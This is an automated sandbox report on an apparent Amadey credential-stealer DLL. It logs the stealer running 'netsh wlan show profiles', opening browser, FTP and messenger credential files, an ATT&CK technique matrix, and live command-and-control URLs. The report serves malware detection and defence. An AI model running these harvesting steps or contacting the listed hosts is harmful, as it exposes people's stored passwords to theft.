Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\NVWZAPQSQL.xlsx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\PIVFAGEAAV.docx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\QCFWYSKMHA.docx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\QCFWYSKMHA.xlsx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\QNCYCDFIJJ.docx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\SUAVTZKNFL.xlsx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation

Lowering of HIPS / PFW / Operating System Security Settings

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\System32\rundll32.exe

Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match

File source: cred64.dll.dll, type: SAMPLE

Tries to harvest and steal WLAN passwords

Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles	Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Comodo\Dragon\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\CocCoc\Browser\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\CentBrowser\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Login Data	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Chedot\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\logins.json	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Chromium\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Vivaldi\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Orbitum\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\logins.json	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\dtbqpus9.default\logins.json	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\System32\rundll32.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\sitemanager.xml

Jump to behavior

Tries to steal Instant Messenger accounts or passwords

Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\System32\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\ImmersiveControlPanel\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Program Files (x86)\jAveQpPIqVgzrFhGHEkUaNfyPFRkLqNxLXqbGnErcoWnknvmXUONhjDsixnMGk\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\System32\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\ImmersiveControlPanel\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Program Files (x86)\jAveQpPIqVgzrFhGHEkUaNfyPFRkLqNxLXqbGnErcoWnknvmXUONhjDsixnMGk\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\System32\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\ImmersiveControlPanel\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Program Files (x86)\jAveQpPIqVgzrFhGHEkUaNfyPFRkLqNxLXqbGnErcoWnknvmXUONhjDsixnMGk\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\System32\WindowsPowerShell\v1.0\.purple\accounts.xml	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	111 Process Injection	1 Disable or Modify Tools	2 OS Credential Dumping	1 Security Software Discovery	Remote Services	2 Data from Local System	1 Non-Application Layer Protocol	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	1 Credentials in Registry	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	11 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	111 Process Injection	1 Credentials In Files	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Rundll32	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	13 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
cred64.dll.dll	68%	ReversingLabs	Win64.Infostealer.Tinba
cred64.dll.dll	78%	Virustotal		Browse

Source	Detection	Scanner	Label
http://185.196.8.37/ds	0%	Avira URL Cloud	safe
http://185.196.8.37/5	0%	Avira URL Cloud	safe
http://185.196.8.37/lorer_RecentFilesl	0%	Avira URL Cloud	safe
http://185.196.8.37/Gd85kkjf/index.php	100%	Avira URL Cloud	malware
http://185.196.8.37/Gd85kkjf/index.php?wal=1es5	100%	Avira URL Cloud	malware
http://185.196.8.37/Gd85kkjf/index.php?wal=1=	100%	Avira URL Cloud	malware
http://185.196.8.37/Gd85kkjf/index.php?wal=1	100%	Avira URL Cloud	malware
http://185.196.8.37/Gd85kkjf/index.php?wal=1XyH	100%	Avira URL Cloud	malware
http://185.196.8.37/Gd85kkjf/index.php%	0%	Avira URL Cloud	safe
http://185.196.8.37/Gd85kkjf/index.php#	100%	Avira URL Cloud	malware
http://185.196.8.37/Gd85kkjf/index.php?wal=1s	100%	Avira URL Cloud	malware
http://185.196.8.37/t%	0%	Avira URL Cloud	safe
http://185.196.8.37/Gd85kkjf/index.php?wal=1b	100%	Avira URL Cloud	malware
http://185.196.8.37/Gd85kkjf/index.php?wal=1rer	100%	Avira URL Cloud	malware
http://185.196.8.37/Gd85kkjf/index.php?wal=1(	100%	Avira URL Cloud	malware
http://185.196.8.37/	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
http://185.196.8.37/Gd85kkjf/index.php	true	Avira URL Cloud: malware	unknown
http://185.196.8.37/Gd85kkjf/index.php?wal=1	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 0000000E.00000002.1356866325.000002C920496000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1419781847.0000025AB8226000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1355712953.0000025AA9A8A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1556863024.00000191C3645000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000016.00000002.1401642278.00000191B37F8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000016.00000002.1401642278.00000191B37F8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 0000000E.00000002.1356866325.000002C91ECF8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1355712953.0000025AA83D9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1401642278.00000191B37F8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000016.00000002.1401642278.00000191B37F8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.microsoft.co	powershell.exe, 00000016.00000002.1570736869.00000191CB89A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000016.00000002.1556863024.00000191C3645000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000016.00000002.1556863024.00000191C3645000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.196.8.37/5	rundll32.exe, 00000007.00000002.1518302251.000001631549F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/winsvr-2022-pshelpX	powershell.exe, 0000000E.00000002.1356866325.000002C9200F7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1355712953.0000025AA97DE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1401642278.00000191B4BF4000.00000004.00000800.00020000.00000000.sdmp	false		high
